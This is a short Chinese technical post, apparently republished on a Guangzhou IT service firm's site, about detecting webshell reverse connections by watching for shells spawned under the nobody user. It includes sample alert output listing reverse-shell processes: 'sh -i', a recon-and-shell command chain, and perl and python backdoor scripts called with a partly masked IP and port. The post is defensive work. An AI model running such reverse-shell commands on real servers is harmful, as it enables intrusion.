行业资讯
   
怎么有效检测webshell反弹
发布时间:2011-11-17
浏览人数:2072

     有朋友说,检测webshell不就可以了,问题是如果要大面积推,以我目前写的检测webshell的代码,误报还是有的,天天看报警邮件就会麻木了,所以想提高准确率。另外,文件量大,更新频繁,访问量也大的,扫文件比较难推得下去。

也有朋友说,检测网络连接,同样,网络连接大,没有专门的投入设备来做这个事情,还是比较难的。由于要花钱的缘故,你懂的。

另一种就是agent,抓敏感动作,比如一个nobody用户起了个bash之类的。

其实最开始想的是用iptables直接限制反弹就可以了,然后记录敏感log,分析log报警就可以发现webshell。上了以前写的一个iptables脚本,限制output,做过nmap hping等比较详细的测试,结果产生了我昨天在群里讨论的问题,就是web的80主动ack别人的现象。iptables四种状态个人感觉还是比较熟了的,所以觉得奇怪,一种可能是iptables状态因为网络包问题出现混乱,一种可能是有传说中的ackbackdoor:)后面抓包回来分析,目前还没有结论。

在与kevin1986的交流中,我们发现判断父进程的时候发现有漏掉的,下面的c版的父进程是1,呵呵。当然,和他交流让我有了一个比较简单的思路(感谢ing),于是写了一个非常挫的脚本,测试了几种情况,感觉还行,以下为报警邮件内容:

 

下面这种是c的

found webshell back connect on fuckit

nobody    7032     1  0 12:57 ?        00:00:00 sh -i

 

下面这种是perl的

found webshell back connect on fuckit

nobody    7301     1  0 13:00 ?        00:00:00 lynx

nobody    7302  7301  0 13:00 ?        00:00:00 sh -c echo "`uname -a`";echo "`id`";/bin/sh

nobody    7307  7302  0 13:00 ?        00:00:00 /bin/sh

 

再来个传perl后门上去执行的

found webshell back connect on fuckit

nobody    8137  2257  0 13:16 ?        00:00:00 perl /usr/local/zeus/htdocs/www.xxxx.com/back.pl 121.9.227.xx 6666

nobody    8144  8137  0 13:16 ?        00:00:00 sh -i

 

再来个传py后门上去执行的

nobody    8203  1924  0 13:19 ?        00:00:00 python /usr/local/zeus/htdocs/www.xxxx.com/back.py 121.9.227.xx 6666

nobody    8204  8203  0 13:19 pts/1    00:00:00 /bin/sh

由于实在代码挫,就不贴了,你们看以上内容都懂的:)

新闻资讯
联系我们

联系电话:020-87518715

联系邮箱:services@picusit.com

公司名称:广州啄木鸟计算机服务有限公司

公司地址:广州市天河区龙口西路100号中明大厦1601

热线咨询电话:

020-87518715

公司地址:
广州市天河区龙口西路100号中明大厦1601
手机扫码查看更多
如有问题咨询请及时与我们沟通,我们会为您详细解答!
Copyright © 广州啄木鸟计算机服务有限公司 地址:广州市天河区龙口西路100号中明大厦1601

网站首页

公司介绍

服务项目

成功案例

技术动态

联系方式